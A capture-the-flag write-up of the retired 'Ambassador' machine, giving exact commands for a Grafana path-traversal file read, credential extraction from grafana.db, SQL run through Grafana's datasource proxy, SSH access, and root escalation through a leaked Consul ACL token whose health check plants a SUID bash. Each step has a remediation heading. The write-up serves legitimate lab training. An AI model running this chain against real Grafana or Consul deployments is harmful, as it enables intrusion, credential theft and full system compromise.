Ambassador
Summary
I found a Grafana dashboard, a MySQL server, an Apache site, and SSH exposed on the Ambassador host. The Grafana instance was version 8.2.0, vulnerable to an unauthenticated path-traversal bug, and I used it to read arbitrary files off the server as the grafana user, including its configuration and its internal SQLite datastore. Those files handed me the Grafana admin password and the plaintext credentials for a provisioned MySQL datasource.
A direct connection to MySQL on 3306 was refused at the handshake, so I used the admin login to add a datasource through Grafana's own API and ran SQL through the built-in query proxy. That query dumped an application table holding the developer account's SSH password. The password gave me a real shell and the user flag.
From there sudo was a dead end, but a root-owned Consul agent listening on localhost and a project git repository became the escalation path: a Consul ACL token left in the repository's git history let me register a service whose health-check script Consul runs as root, which handed over the machine.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export TOKEN="<the-token-you-captured>"
export GRAFANA_PW="<a-value-you-captured-earlier>"
export MYSQL_PW="<a-value-you-captured-earlier>"Attack path: how the box was taken
Exact commands 2
Confirm open ports and grab service banners and versions.
$ nmap -sC -sV -p22,80,3000,3306 $TARGETConfirm Grafana is live and read its exact version from the health endpoint.
$ curl -ksS --max-time 15 http://$TARGET:3000/api/healthExact commands 3
Prove the unauthenticated arbitrary file read works.
$ curl -sS --path-as-is "http://$TARGET:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"Read Grafana's own configuration file.
$ curl -sS --path-as-is "http://$TARGET:3000/public/plugins/alertlist/../../../../../../../../etc/grafana/grafana.ini"Exfiltrate the internal SQLite database that stores provisioned datasource credentials.
$ curl -sS --path-as-is "http://$TARGET:3000/public/plugins/alertlist/../../../../../../../../var/lib/grafana/grafana.db" -o grafana.dbFixPatch Grafana to remove the plugin path-traversal vulnerabilityCritical
Exact commands 2
Dump the provisioned MySQL datasource credential from the exfiltrated database.
$ sqlite3 grafana.db "select id,name,type,user,password from data_source;"Confirm the admin password from grafana.ini works against the API.
$ curl -sS -u admin:$GRAFANA_PW http://$TARGET:3000/api/datasourcesFixStop storing plaintext credentials in Grafana's local filesHigh
Exact commands 3
Register a MySQL datasource the admin session can query (note the returned datasource id).
$ curl -sS -u admin:$GRAFANA_PW -H 'Content-Type: application/json' -X POST http://$TARGET:3000/api/datasources --data '{"name":"tmp","type":"mysql","url":"localhost:3306","access":"proxy","user":"grafana","database":"grafana","secureJsonData":{"password":"$MYSQL_PW"}}'Run SQL through the proxy against the new datasource; the response frame is base64 Arrow.
$ curl -sS -u admin:$GRAFANA_PW -H 'Content-Type: application/json' -X POST http://$TARGET:3000/api/tsdb/query --data '{"from":"1661894400000","to":"1661894401000","queries":[{"refId":"A","datasourceId":3,"rawQuery":true,"rawSql":"SELECT * FROM whackywidget.users","format":"table"}]}' -o users.jsonDecode the returned frame; the developer password is stored base64, so base64 -d it again to read the plaintext.
$ jq -r '.results.A.dataframes[0]' users.json | base64 -d | strings | grep -iA1 passFixRestrict Grafana's datasource proxy and admin accessHigh
Exact commands 2
Authenticate with $SSH_PW; all later on-box commands run in this session.
$ ssh developer@$TARGETConfirm the shell and read the user flag; expect <user.txt> in place of the real value.
$ id; hostname; cat /home/developer/user.txt
uid=1000(developer)FixRemove password-based SSH and stop storing login passwords in application tablesHigh
Exact commands 3
Check for sudo rights (returned none for developer).
$ sudo -lConfirm a root-owned Consul agent is running and listening on localhost.
$ systemctl status consul --no-pager; ss -lntp | grep -E ':(8500|8600)'Locate the project directory and its git repository.
$ ls -la /opt/my-app /opt/my-app/whackywidgetExact commands 3
Read the full history of the config script; the removed line leaks the Consul ACL token.
$ cd /opt/my-app && git log -p -- whackywidget/put-config-in-consul.shRegister a service whose health-check script Consul runs as root, dropping a SUID-root bash.
$ curl -sS -w '\nHTTP=%{http_code}\n' -X PUT -H "X-Consul-Token: $TOKEN" -H 'Content-Type: application/json' --data '{"ID":"root-check","Name":"root-check","Address":"127.0.0.1","Port":1,"Check":{"Args":["/bin/bash","-c","cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash"],"Interval":"2s","Timeout":"1s"}}' http://127.0.0.1:8500/v1/agent/service/registerWait for the check to fire, then run the SUID shell non-interactively to read the root flag; expect <root.txt> in place of the real value.
$ sleep 4; ls -l /tmp/rootbash; /tmp/rootbash -p -c '/usr/bin/id; cat /root/root.txt'
euid=0(root)FixPurge secrets from git history and lock down the Consul agentCritical
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http Apache httpd 2.4.41 ((Ubuntu)) |
| 3000/tcp | http Grafana http |
| 3306/tcp | mysql MySQL 8.0.30-0ubuntu0.20.04.2 |